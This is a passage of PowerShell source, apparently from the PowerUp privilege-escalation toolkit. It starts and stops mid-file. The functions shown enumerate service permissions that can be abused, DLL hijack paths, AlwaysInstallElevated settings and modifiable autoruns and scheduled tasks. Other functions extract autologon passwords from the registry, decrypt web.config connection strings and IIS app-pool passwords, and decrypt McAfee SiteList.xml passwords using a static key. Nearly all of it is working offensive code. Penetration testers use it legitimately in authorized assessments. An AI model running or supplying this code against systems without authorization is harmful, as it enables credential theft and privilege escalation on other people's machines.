.DESCRIPTION Enumerates all services using Get-Service and uses Test-ServiceDaclPermission to test if the current user has rights to change the service configuration. .EXAMPLE PS C:\> Get-ModifiableService Get a set of potentially exploitable services. #> [CmdletBinding()] param() Get-Service | Test-ServiceDaclPermission -PermissionSet 'ChangeConfig' | ForEach-Object { $ServiceDetails = $_ | Get-ServiceDetail $ServiceRestart = $_ | Test-ServiceDaclPermission -PermissionSet 'Restart' if($ServiceRestart) { $CanRestart = $True } else { $CanRestart = $False } $Out = New-Object PSObject $Out | Add-Member Noteproperty 'ServiceName' $ServiceDetails.name $Out | Add-Member Noteproperty 'Path' $ServiceDetails.pathname $Out | Add-Member Noteproperty 'StartName' $ServiceDetails.startname $Out | Add-Member Noteproperty 'AbuseFunction' "Invoke-ServiceAbuse -Name '$($ServiceDetails.name)'" $Out | Add-Member Noteproperty 'CanRestart' $CanRestart $Out } } function Get-ServiceDetail { <# .SYNOPSIS Returns detailed information about a specified service by querying the WMI win32_service class for the specified service name. .DESCRIPTION Takes an array of one or more service Names or ServiceProcess.ServiceController objedts on the pipeline object returned by Get-Service, extracts out the service name, queries the WMI win32_service class for the specified service for details like binPath, and outputs everything. .PARAMETER Name An array of one or more service names to query information for. .EXAMPLE PS C:\> Get-ServiceDetail -Name VulnSVC Gets detailed information about the 'VulnSVC' service. .EXAMPLE PS C:\> Get-Service VulnSVC | Get-ServiceDetail Gets detailed information about the 'VulnSVC' service. #> param ( [Parameter(Position=0, Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)] [Alias('ServiceName')] [String[]] [ValidateNotNullOrEmpty()] $Name ) PROCESS { ForEach($IndividualService in $Name) { $TargetService = Get-Service -Name $IndividualService Get-WmiObject -Class win32_service -Filter "Name='$($TargetService.Name)'" | Where-Object {$_} | ForEach-Object { try { $_ } catch{ Write-Verbose "Error: $_" $null } } } } } ######################################################## # # DLL Hijacking # ######################################################## function Find-ProcessDLLHijack { <# .SYNOPSIS Finds all DLL hijack locations for currently running processes. Author: @harmj0y License: BSD 3-Clause .DESCRIPTION Enumerates all currently running processes with Get-Process (or accepts an input process object from Get-Process) and enumerates the loaded modules for each. All loaded module name exists outside of the process binary base path, as those are DLL load-order hijack candidates. .PARAMETER Name The name of a process to enumerate for possible DLL path hijack opportunities. .PARAMETER ExcludeWindows Exclude paths from C:\Windows\* instead of just C:\Windows\System32\* .PARAMETER ExcludeProgramFiles Exclude paths from C:\Program Files\* and C:\Program Files (x86)\* .PARAMETER ExcludeOwned Exclude processes the current user owns. .EXAMPLE PS C:\> Find-ProcessDLLHijack Finds possible hijackable DLL locations for all processes. .EXAMPLE PS C:\> Get-Process VulnProcess | Find-ProcessDLLHijack Finds possible hijackable DLL locations for the 'VulnProcess' processes. .EXAMPLE PS C:\> Find-ProcessDLLHijack -ExcludeWindows -ExcludeProgramFiles Finds possible hijackable DLL locations not in C:\Windows\* and not in C:\Program Files\* or C:\Program Files (x86)\* .EXAMPLE PS C:\> Find-ProcessDLLHijack -ExcludeOwned Finds possible hijackable DLL location for processes not owned by the current user. .LINK https://www.mandiant.com/blog/malware-persistence-windows-registry/ #> [CmdletBinding()] Param( [Parameter(Position=0, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)] [Alias('ProcessName')] [String[]] $Name = $(Get-Process | Select-Object -Expand Name), [Switch] $ExcludeWindows, [Switch] $ExcludeProgramFiles, [Switch] $ExcludeOwned ) BEGIN { # the known DLL cache to exclude from our findings # http://blogs.msdn.com/b/larryosterman/archive/2004/07/19/187752.aspx $Keys = (Get-Item "HKLM:\System\CurrentControlSet\Control\Session Manager\KnownDLLs") $KnownDLLs = $(ForEach ($KeyName in $Keys.GetValueNames()) { $Keys.GetValue($KeyName) }) | Where-Object { $_.EndsWith(".dll") } $CurrentUser = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name # get the owners for all processes $Owners = @{} Get-WmiObject -Class win32_process | Where-Object {$_} | ForEach-Object { $Owners[$_.handle] = $_.getowner().user } } PROCESS { ForEach ($ProcessName in $Name) { $TargetProcess = Get-Process -Name $ProcessName if($TargetProcess -and $TargetProcess.Path -and ($TargetProcess.Path -ne '') -and ($TargetProcess.Path -ne $Null)) { try { $BasePath = $TargetProcess.Path | Split-Path -Parent $LoadedModules = $TargetProcess.Modules $ProcessOwner = $Owners[$TargetProcess.Id.ToString()] ForEach ($Module in $LoadedModules){ $ModulePath = "$BasePath\$($Module.ModuleName)" # if the module path doesn't exist in the process base path folder if ((-not $ModulePath.Contains('C:\Windows\System32')) -and (-not (Test-Path -Path $ModulePath)) -and ($KnownDLLs -NotContains $Module.ModuleName)) { $Exclude = $False if($PSBoundParameters['ExcludeWindows'] -and $ModulePath.Contains('C:\Windows')) { $Exclude = $True } if($PSBoundParameters['ExcludeProgramFiles'] -and $ModulePath.Contains('C:\Program Files')) { $Exclude = $True } if($PSBoundParameters['ExcludeOwned'] -and $CurrentUser.Contains($ProcessOwner)) { $Exclude = $True } # output the process name and hijackable path if exclusion wasn't marked if (-not $Exclude){ $Out = New-Object PSObject $Out | Add-Member Noteproperty 'ProcessName' $TargetProcess.ProcessName $Out | Add-Member Noteproperty 'ProcessPath' $TargetProcess.Path $Out | Add-Member Noteproperty 'ProcessOwner' $ProcessOwner $Out | Add-Member Noteproperty 'ProcessHijackableDLL' $ModulePath $Out } } } } catch { Write-Verbose "Error: $_" } } } } } function Find-PathDLLHijack { <# .SYNOPSIS Finds all directories in the system %PATH% that are modifiable by the current user. Author: @harmj0y License: BSD 3-Clause .DESCRIPTION Enumerates the paths stored in Env:Path (%PATH) and filters each through Get-ModifiablePath to return the folder paths the current user can write to. On Windows 7, if wlbsctrl.dll is written to one of these paths, execution for the IKEEXT can be hijacked due to DLL search order loading. .EXAMPLE PS C:\> Find-PathDLLHijack Finds all %PATH% .DLL hijacking opportunities. .LINK http://www.greyhathacker.net/?p=738 #> [CmdletBinding()] Param() # use -LiteralPaths so the spaces in %PATH% folders are not tokenized Get-Item Env:Path | Select-Object -ExpandProperty Value | ForEach-Object { $_.split(';') } | Where-Object {$_ -and ($_ -ne '')} | ForEach-Object { $TargetPath = $_ $ModifiablePaths = $TargetPath | Get-ModifiablePath -LiteralPaths | Where-Object {$_ -and ($_ -ne $Null) -and ($_.ModifiablePath -ne $Null) -and ($_.ModifiablePath.Trim() -ne '')} ForEach($ModifiablePath in $ModifiablePaths) { if($ModifiablePath.ModifiablePath -ne $Null) { $ModifiablePath | Add-Member Noteproperty '%PATH%' $_ $ModifiablePath.Permissions = $ModifiablePath.permissions -join ', ' $ModifiablePath } } } } ######################################################## # # Registry Checks # ######################################################## function Get-RegistryAlwaysInstallElevated { <# .SYNOPSIS Checks if any of the AlwaysInstallElevated registry keys are set. .DESCRIPTION Returns $True if the HKLM:SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated or the HKCU:SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated keys are set, $False otherwise. If one of these keys are set, then all .MSI files run with elevated permissions, regardless of current user permissions. .EXAMPLE PS C:\> Get-RegistryAlwaysInstallElevated Returns $True if any of the AlwaysInstallElevated registry keys are set. #> [CmdletBinding()] Param() $OrigError = $ErrorActionPreference $ErrorActionPreference = "SilentlyContinue" if (Test-Path "HKLM:SOFTWARE\Policies\Microsoft\Windows\Installer") { $HKLMval = (Get-ItemProperty -Path "HKLM:SOFTWARE\Policies\Microsoft\Windows\Installer" -Name AlwaysInstallElevated -ErrorAction SilentlyContinue) Write-Verbose "HKLMval: $($HKLMval.AlwaysInstallElevated)" if ($HKLMval.AlwaysInstallElevated -and ($HKLMval.AlwaysInstallElevated -ne 0)){ $HKCUval = (Get-ItemProperty -Path "HKCU:SOFTWARE\Policies\Microsoft\Windows\Installer" -Name AlwaysInstallElevated -ErrorAction SilentlyContinue) Write-Verbose "HKCUval: $($HKCUval.AlwaysInstallElevated)" if ($HKCUval.AlwaysInstallElevated -and ($HKCUval.AlwaysInstallElevated -ne 0)){ Write-Verbose "AlwaysInstallElevated enabled on this machine!" $True } else{ Write-Verbose "AlwaysInstallElevated not enabled on this machine." $False } } else{ Write-Verbose "AlwaysInstallElevated not enabled on this machine." $False } } else{ Write-Verbose "HKLM:SOFTWARE\Policies\Microsoft\Windows\Installer does not exist" $False } $ErrorActionPreference = $OrigError } function Get-RegistryAutoLogon { <# .SYNOPSIS Finds any autologon credentials left in the registry. .DESCRIPTION Checks if any autologon accounts/credentials are set in a number of registry locations. If they are, the credentials are extracted and returned as a custom PSObject. .EXAMPLE PS C:\> Get-RegistryAutoLogon Finds any autologon credentials left in the registry. .LINK https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/windows_autologin.rb #> [CmdletBinding()] Param() $AutoAdminLogon = $(Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name AutoAdminLogon -ErrorAction SilentlyContinue) Write-Verbose "AutoAdminLogon key: $($AutoAdminLogon.AutoAdminLogon)" if ($AutoAdminLogon -and ($AutoAdminLogon.AutoAdminLogon -ne 0)) { $DefaultDomainName = $(Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name DefaultDomainName -ErrorAction SilentlyContinue).DefaultDomainName $DefaultUserName = $(Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name DefaultUserName -ErrorAction SilentlyContinue).DefaultUserName $DefaultPassword = $(Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name DefaultPassword -ErrorAction SilentlyContinue).DefaultPassword $AltDefaultDomainName = $(Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name AltDefaultDomainName -ErrorAction SilentlyContinue).AltDefaultDomainName $AltDefaultUserName = $(Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name AltDefaultUserName -ErrorAction SilentlyContinue).AltDefaultUserName $AltDefaultPassword = $(Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name AltDefaultPassword -ErrorAction SilentlyContinue).AltDefaultPassword if ($DefaultUserName -or $AltDefaultUserName) { $Out = New-Object PSObject $Out | Add-Member Noteproperty 'DefaultDomainName' $DefaultDomainName $Out | Add-Member Noteproperty 'DefaultUserName' $DefaultUserName $Out | Add-Member Noteproperty 'DefaultPassword' $DefaultPassword $Out | Add-Member Noteproperty 'AltDefaultDomainName' $AltDefaultDomainName $Out | Add-Member Noteproperty 'AltDefaultUserName' $AltDefaultUserName $Out | Add-Member Noteproperty 'AltDefaultPassword' $AltDefaultPassword $Out } } } function Get-ModifiableRegistryAutoRun { <# .SYNOPSIS Returns any elevated system autoruns in which the current user can modify part of the path string. .DESCRIPTION Enumerates a number of autorun specifications in HKLM and filters any autoruns through Get-ModifiablePath, returning any file/config locations in the found path strings that the current user can modify. .EXAMPLE PS C:\> Get-ModifiableRegistryAutoRun Return vulneable autorun binaries (or associated configs). #> [CmdletBinding()] Param() $SearchLocations = @( "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "HKLM:\Software\Microsoft\Windows\CurrentVersion\RunOnce", "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run", "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce", "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunService", "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceService", "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunService", "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnceService" ) $OrigError = $ErrorActionPreference $ErrorActionPreference = "SilentlyContinue" $SearchLocations | Where-Object { Test-Path $_ } | ForEach-Object { $Keys = Get-Item -Path $_ $ParentPath = $_ ForEach ($Name in $Keys.GetValueNames()) { $Path = $($Keys.GetValue($Name)) $Path | Get-ModifiablePath | ForEach-Object { $Out = New-Object PSObject $Out | Add-Member Noteproperty 'Key' "$ParentPath\$Name" $Out | Add-Member Noteproperty 'Path' $Path $Out | Add-Member Noteproperty 'ModifiableFile' $_ $Out } } } $ErrorActionPreference = $OrigError } ######################################################## # # Miscellaneous checks # ######################################################## function Get-ModifiableScheduledTaskFile { <# .SYNOPSIS Returns scheduled tasks where the current user can modify any file in the associated task action string. .DESCRIPTION Enumerates all scheduled tasks by recursively listing "$($ENV:windir)\System32\Tasks" and parses the XML specification for each task, extracting the command triggers. Each trigger string is filtered through Get-ModifiablePath, returning any file/config locations in the found path strings that the current user can modify. .EXAMPLE PS C:\> Get-ModifiableScheduledTaskFile Return scheduled tasks with modifiable command strings. #> [CmdletBinding()] Param() $OrigError = $ErrorActionPreference $ErrorActionPreference = "SilentlyContinue" $Path = "$($ENV:windir)\System32\Tasks" # recursively enumerate all schtask .xmls Get-ChildItem -Path $Path -Recurse | Where-Object { -not $_.PSIsContainer } | ForEach-Object { try { $TaskName = $_.Name $TaskXML = [xml] (Get-Content $_.FullName) if($TaskXML.Task.Triggers) { $TaskTrigger = $TaskXML.Task.Triggers.OuterXML # check schtask command $TaskXML.Task.Actions.Exec.Command | Get-ModifiablePath | ForEach-Object { $Out = New-Object PSObject $Out | Add-Member Noteproperty 'TaskName' $TaskName $Out | Add-Member Noteproperty 'TaskFilePath' $_ $Out | Add-Member Noteproperty 'TaskTrigger' $TaskTrigger $Out } # check schtask arguments $TaskXML.Task.Actions.Exec.Arguments | Get-ModifiablePath | ForEach-Object { $Out = New-Object PSObject $Out | Add-Member Noteproperty 'TaskName' $TaskName $Out | Add-Member Noteproperty 'TaskFilePath' $_ $Out | Add-Member Noteproperty 'TaskTrigger' $TaskTrigger $Out } } } catch { Write-Verbose "Error: $_" } } $ErrorActionPreference = $OrigError } function Get-UnattendedInstallFile { <# .SYNOPSIS Checks several locations for remaining unattended installation files, which may have deployment credentials. .EXAMPLE PS C:\> Get-UnattendedInstallFile Finds any remaining unattended installation files. .LINK http://www.fuzzysecurity.com/tutorials/16.html #> $OrigError = $ErrorActionPreference $ErrorActionPreference = "SilentlyContinue" $SearchLocations = @( "c:\sysprep\sysprep.xml", "c:\sysprep\sysprep.inf", "c:\sysprep.inf", (Join-Path $Env:WinDir "\Panther\Unattended.xml"), (Join-Path $Env:WinDir "\Panther\Unattend\Unattended.xml"), (Join-Path $Env:WinDir "\Panther\Unattend.xml"), (Join-Path $Env:WinDir "\Panther\Unattend\Unattend.xml"), (Join-Path $Env:WinDir "\System32\Sysprep\unattend.xml"), (Join-Path $Env:WinDir "\System32\Sysprep\Panther\unattend.xml") ) # test the existence of each path and return anything found $SearchLocations | Where-Object { Test-Path $_ } | ForEach-Object { $Out = New-Object PSObject $Out | Add-Member Noteproperty 'UnattendPath' $_ $Out } $ErrorActionPreference = $OrigError } function Get-WebConfig { <# .SYNOPSIS This script will recover cleartext and encrypted connection strings from all web.config files on the system. Also, it will decrypt them if needed. Author: Scott Sutherland - 2014, NetSPI Author: Antti Rantasaari - 2014, NetSPI .DESCRIPTION This script will identify all of the web.config files on the system and recover the connection strings used to support authentication to backend databases. If needed, the script will also decrypt the connection strings on the fly. The output supports the pipeline which can be used to convert all of the results into a pretty table by piping to format-table. .EXAMPLE Return a list of cleartext and decrypted connect strings from web.config files. PS C:\> Get-WebConfig user : s1admin pass : s1password dbserv : 192.168.1.103\server1 vdir : C:\test2 path : C:\test2\web.config encr : No user : s1user pass : s1password dbserv : 192.168.1.103\server1 vdir : C:\inetpub\wwwroot path : C:\inetpub\wwwroot\web.config encr : Yes .EXAMPLE Return a list of clear text and decrypted connect strings from web.config files. PS C:\>get-webconfig | Format-Table -Autosize user pass dbserv vdir path encr ---- ---- ------ ---- ---- ---- s1admin s1password 192.168.1.101\server1 C:\App1 C:\App1\web.config No s1user s1password 192.168.1.101\server1 C:\inetpub\wwwroot C:\inetpub\wwwroot\web.config No s2user s2password 192.168.1.102\server2 C:\App2 C:\App2\test\web.config No s2user s2password 192.168.1.102\server2 C:\App2 C:\App2\web.config Yes s3user s3password 192.168.1.103\server3 D:\App3 D:\App3\web.config No .LINK https://github.com/darkoperator/Posh-SecMod/blob/master/PostExploitation/PostExploitation.psm1 http://www.netspi.com https://raw2.github.com/NetSPI/cmdsql/master/cmdsql.aspx http://www.iis.net/learn/get-started/getting-started-with-iis/getting-started-with-appcmdexe http://msdn.microsoft.com/en-us/library/k6h9cz8h(v=vs.80).aspx .NOTES Below is an alterantive method for grabbing connection strings, but it doesn't support decryption. for /f "tokens=*" %i in ('%systemroot%\system32\inetsrv\appcmd.exe list sites /text:name') do %systemroot%\system32\inetsrv\appcmd.exe list config "%i" -section:connectionstrings #> [CmdletBinding()] Param() $OrigError = $ErrorActionPreference $ErrorActionPreference = "SilentlyContinue" # Check if appcmd.exe exists if (Test-Path ("$Env:SystemRoot\System32\InetSRV\appcmd.exe")) { # Create data table to house results $DataTable = New-Object System.Data.DataTable # Create and name columns in the data table $Null = $DataTable.Columns.Add("user") $Null = $DataTable.Columns.Add("pass") $Null = $DataTable.Columns.Add("dbserv") $Null = $DataTable.Columns.Add("vdir") $Null = $DataTable.Columns.Add("path") $Null = $DataTable.Columns.Add("encr") # Get list of virtual directories in IIS C:\Windows\System32\InetSRV\appcmd.exe list vdir /text:physicalpath | ForEach-Object { $CurrentVdir = $_ # Converts CMD style env vars (%) to powershell env vars (env) if ($_ -like "*%*") { $EnvarName = "`$Env:"+$_.split("%")[1] $EnvarValue = Invoke-Expression $EnvarName $RestofPath = $_.split("%")[2] $CurrentVdir = $EnvarValue+$RestofPath } # Search for web.config files in each virtual directory $CurrentVdir | Get-ChildItem -Recurse -Filter web.config | ForEach-Object { # Set web.config path $CurrentPath = $_.fullname # Read the data from the web.config xml file [xml]$ConfigFile = Get-Content $_.fullname # Check if the connectionStrings are encrypted if ($ConfigFile.configuration.connectionStrings.add) { # Foreach connection string add to data table $ConfigFile.configuration.connectionStrings.add| ForEach-Object { [String]$MyConString = $_.connectionString if($MyConString -like "*password*") { $ConfUser = $MyConString.Split("=")[3].Split(";")[0] $ConfPass = $MyConString.Split("=")[4].Split(";")[0] $ConfServ = $MyConString.Split("=")[1].Split(";")[0] $ConfVdir = $CurrentVdir $ConfPath = $CurrentPath $ConfEnc = "No" $Null = $DataTable.Rows.Add($ConfUser, $ConfPass, $ConfServ,$ConfVdir,$CurrentPath, $ConfEnc) } } } else { # Find newest version of aspnet_regiis.exe to use (it works with older versions) $AspnetRegiisPath = Get-ChildItem -Path "$Env:SystemRoot\Microsoft.NET\Framework\" -Recurse -filter 'aspnet_regiis.exe' | Sort-Object -Descending | Select-Object fullname -First 1 # Check if aspnet_regiis.exe exists if (Test-Path ($AspnetRegiisPath.FullName)) { # Setup path for temp web.config to the current user's temp dir $WebConfigPath = (Get-Item $Env:temp).FullName + "\web.config" # Remove existing temp web.config if (Test-Path ($WebConfigPath)) { Remove-Item $WebConfigPath } # Copy web.config from vdir to user temp for decryption Copy-Item $CurrentPath $WebConfigPath # Decrypt web.config in user temp $AspnetRegiisCmd = $AspnetRegiisPath.fullname+' -pdf "connectionStrings" (get-item $Env:temp).FullName' $Null = Invoke-Expression $AspnetRegiisCmd # Read the data from the web.config in temp [xml]$TMPConfigFile = Get-Content $WebConfigPath # Check if the connectionStrings are still encrypted if ($TMPConfigFile.configuration.connectionStrings.add) { # Foreach connection string add to data table $TMPConfigFile.configuration.connectionStrings.add | ForEach-Object { [String]$MyConString = $_.connectionString if($MyConString -like "*password*") { $ConfUser = $MyConString.Split("=")[3].Split(";")[0] $ConfPass = $MyConString.Split("=")[4].Split(";")[0] $ConfServ = $MyConString.Split("=")[1].Split(";")[0] $ConfVdir = $CurrentVdir $ConfPath = $CurrentPath $ConfEnc = 'Yes' $Null = $DataTable.Rows.Add($ConfUser, $ConfPass, $ConfServ,$ConfVdir,$CurrentPath, $ConfEnc) } } } else { Write-Verbose "Decryption of $CurrentPath failed." $False } } else { Write-Verbose 'aspnet_regiis.exe does not exist in the default location.' $False } } } } # Check if any connection strings were found if( $DataTable.rows.Count -gt 0 ) { # Display results in list view that can feed into the pipeline $DataTable | Sort-Object user,pass,dbserv,vdir,path,encr | Select-Object user,pass,dbserv,vdir,path,encr -Unique } else { Write-Verbose 'No connection strings found.' $False } } else { Write-Verbose 'Appcmd.exe does not exist in the default location.' $False } $ErrorActionPreference = $OrigError } function Get-ApplicationHost { <# .SYNOPSIS This script will recover encrypted application pool and virtual directory passwords from the applicationHost.config on the system. .DESCRIPTION This script will decrypt and recover application pool and virtual directory passwords from the applicationHost.config file on the system. The output supports the pipeline which can be used to convert all of the results into a pretty table by piping to format-table. .EXAMPLE Return application pool and virtual directory passwords from the applicationHost.config on the system. PS C:\> Get-ApplicationHost user : PoolUser1 pass : PoolParty1! type : Application Pool vdir : NA apppool : ApplicationPool1 user : PoolUser2 pass : PoolParty2! type : Application Pool vdir : NA apppool : ApplicationPool2 user : VdirUser1 pass : VdirPassword1! type : Virtual Directory vdir : site1/vdir1/ apppool : NA user : VdirUser2 pass : VdirPassword2! type : Virtual Directory vdir : site2/ apppool : NA .EXAMPLE Return a list of cleartext and decrypted connect strings from web.config files. PS C:\> Get-ApplicationHost | Format-Table -Autosize user pass type vdir apppool ---- ---- ---- ---- ------- PoolUser1 PoolParty1! Application Pool NA ApplicationPool1 PoolUser2 PoolParty2! Application Pool NA ApplicationPool2 VdirUser1 VdirPassword1! Virtual Directory site1/vdir1/ NA VdirUser2 VdirPassword2! Virtual Directory site2/ NA .LINK https://github.com/darkoperator/Posh-SecMod/blob/master/PostExploitation/PostExploitation.psm1 http://www.netspi.com http://www.iis.net/learn/get-started/getting-started-with-iis/getting-started-with-appcmdexe http://msdn.microsoft.com/en-us/library/k6h9cz8h(v=vs.80).aspx .NOTES Author: Scott Sutherland - 2014, NetSPI Version: Get-ApplicationHost v1.0 Comments: Should work on IIS 6 and Above #> $OrigError = $ErrorActionPreference $ErrorActionPreference = "SilentlyContinue" # Check if appcmd.exe exists if (Test-Path ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) { # Create data table to house results $DataTable = New-Object System.Data.DataTable # Create and name columns in the data table $Null = $DataTable.Columns.Add("user") $Null = $DataTable.Columns.Add("pass") $Null = $DataTable.Columns.Add("type") $Null = $DataTable.Columns.Add("vdir") $Null = $DataTable.Columns.Add("apppool") # Get list of application pools Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object { # Get application pool name $PoolName = $_ # Get username $PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username" $PoolUser = Invoke-Expression $PoolUserCmd # Get password $PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password" $PoolPassword = Invoke-Expression $PoolPasswordCmd # Check if credentials exists if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) { # Add credentials to database $Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName) } } # Get list of virtual directories Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object { # Get Virtual Directory Name $VdirName = $_ # Get username $VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName" $VdirUser = Invoke-Expression $VdirUserCmd # Get password $VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password" $VdirPassword = Invoke-Expression $VdirPasswordCmd # Check if credentials exists if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) { # Add credentials to database $Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA') } } # Check if any passwords were found if( $DataTable.rows.Count -gt 0 ) { # Display results in list view that can feed into the pipeline $DataTable | Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique } else { # Status user Write-Verbose 'No application pool or virtual directory passwords were found.' $False } } else { Write-Verbose 'Appcmd.exe does not exist in the default location.' $False } $ErrorActionPreference = $OrigError } function Get-SiteListPassword { <# .SYNOPSIS Retrieves the plaintext passwords for found McAfee's SiteList.xml files. Based on Jerome Nokin (@funoverip)'s Python solution (in links). PowerSploit Function: Get-SiteListPassword Original Author: Jerome Nokin (@funoverip) PowerShell Port: @harmj0y License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None .DESCRIPTION Searches for any McAfee SiteList.xml in C:\Program Files\, C:\Program Files (x86)\, C:\Documents and Settings\, or C:\Users\. For any files found, the appropriate credential fields are extracted and decrypted using the internal Get-DecryptedSitelistPassword function that takes advantage of McAfee's static key encryption. Any decrypted credentials are output in custom objects. See links for more information. .PARAMETER Path Optional path to a SiteList.xml file or folder. .EXAMPLE PS C:\> Get-SiteListPassword EncPassword : jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q== UserName : Path : Products/CommonUpdater Name : McAfeeHttp DecPassword : MyStrongPassword! Enabled : 1 DomainName : Server : update.nai.com:80 EncPassword : jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q== UserName : McAfeeService Path : Repository$ Name : Paris DecPassword : MyStrongPassword! Enabled : 1 DomainName : companydomain Server : paris001 EncPassword : jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q== UserName : McAfeeService Path : Repository$ Name : Tokyo DecPassword : MyStrongPassword! Enabled : 1 DomainName : companydomain Server : tokyo000 .LINK https://github.com/funoverip/mcafee-sitelist-pwd-decryption/ https://funoverip.net/2016/02/mcafee-sitelist-xml-password-decryption/ https://github.com/tfairane/HackStory/blob/master/McAfeePrivesc.md https://www.syss.de/fileadmin/dokumente/Publikationen/2011/SySS_2011_Deeg_Privilege_Escalation_via_Antivirus_Software.pdf #> [CmdletBinding()] param( [Parameter(Position=0, ValueFromPipeline=$True)] [ValidateScript({Test-Path -Path $_ })] [String[]] $Path ) BEGIN { function Local:Get-DecryptedSitelistPassword { # PowerShell adaptation of https://github.com/funoverip/mcafee-sitelist-pwd-decryption/ # Original Author: Jerome Nokin (@funoverip / jerome.nokin@gmail.com) # port by @harmj0y [CmdletBinding()] Param ( [Parameter(Mandatory=$True)] [String] $B64Pass ) # make sure the appropriate assemblies are loaded Add-Type -Assembly System.Security Add-Type -Assembly System.Core # declare the encoding/crypto providers we need $Encoding = [System.Text.Encoding]::ASCII $SHA1 = New-Object System.Security.Cryptography.SHA1CryptoServiceProvider $3DES = New-Object System.Security.Cryptography.TripleDESCryptoServiceProvider # static McAfee key XOR key LOL $XORKey = 0x12,0x15,0x0F,0x10,0x11,0x1C,0x1A,0x06,0x0A,0x1F,0x1B,0x18,0x17,0x16,0x05,0x19 # xor the input b64 string with the static XOR key $I = 0; $UnXored = [System.Convert]::FromBase64String($B64Pass) | Foreach-Object { $_ -BXor $XORKey[$I++ % $XORKey.Length] } # build the static McAfee 3DES key TROLOL $3DESKey = $SHA1.ComputeHash($Encoding.GetBytes('<!@#$%^>')) + ,0x00*4 # set the options we need $3DES.Mode = 'ECB' $3DES.Padding = 'None' $3DES.Key = $3DESKey # decrypt the unXor'ed block $Decrypted = $3DES.CreateDecryptor().TransformFinalBlock($UnXored, 0, $UnXored.Length) # ignore the padding for the result $Index = [Array]::IndexOf($Decrypted, [Byte]0) if($Index -ne -1) { $DecryptedPass = $Encoding.GetString($Decrypted[0..($Index-1)]) } else { $DecryptedPass = $Encoding.GetString($Decrypted) } New-Object -TypeName PSObject -Property @{'Encrypted'=$B64Pass;'Decrypted'=$DecryptedPass} } function Local:Get-SitelistFields { [CmdletBinding()] Param ( [Parameter(Mandatory=$True)] [String] $Path ) try { [Xml]$SiteListXml = Get-Content -Path $Path if($SiteListXml.InnerXml -Like "*password*") { Write-Verbose "Potential password in found in $Path" $SiteListXml.SiteLists.SiteList.ChildNodes | Foreach-Object { try { $PasswordRaw = $_.Password.'#Text' if($_.Password.Encrypted -eq 1) { # decrypt the base64 password if it's marked as encrypted $DecPassword = if($PasswordRaw) { (Get-DecryptedSitelistPassword -B64Pass $PasswordRaw).Decrypted } else {''} } else { $DecPassword = $PasswordRaw } $Server = if($_.ServerIP) { $_.ServerIP } else { $_.Server } $Path = if($_.ShareName) { $_.ShareName } else { $_.RelativePath } $ObjectProperties = @{ 'Name' = $_.Name; 'Enabled' = $_.Enabled; 'Server' = $Server; 'Path' = $Path; 'DomainName' = $_.DomainName; 'UserName' = $_.UserName; 'EncPassword' = $PasswordRaw; 'DecPassword' = $DecPassword; } New-Object -TypeName PSObject -Property $ObjectProperties } catch { Write-Verbose "Error parsing node : $_" } } } } catch { Write-Warning "Error parsing file '$Path' : $_" } } } PROCESS { if($PSBoundParameters['Path']) { $XmlFilePaths = $Path } else { $XmlFilePaths = @('C:\Program Files\','C:\Program Files (x86)\','C:\Documents and Settings\','C:\Users\') } $XmlFilePaths | Foreach-Object { Get-ChildItem -Path $_ -Recurse -Include 'SiteList.xml' -ErrorAction SilentlyContinue } | Where-Object { $_ } | Foreach-Object { Write-Verbose "Parsing SiteList.xml file '$($_.Fullname)'" Get-SitelistFields -Path $_.Fullname } } } function Get-CachedGPPPassword { <# .SYNOPSIS Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences and left in cached files on the host. PowerSploit Function: 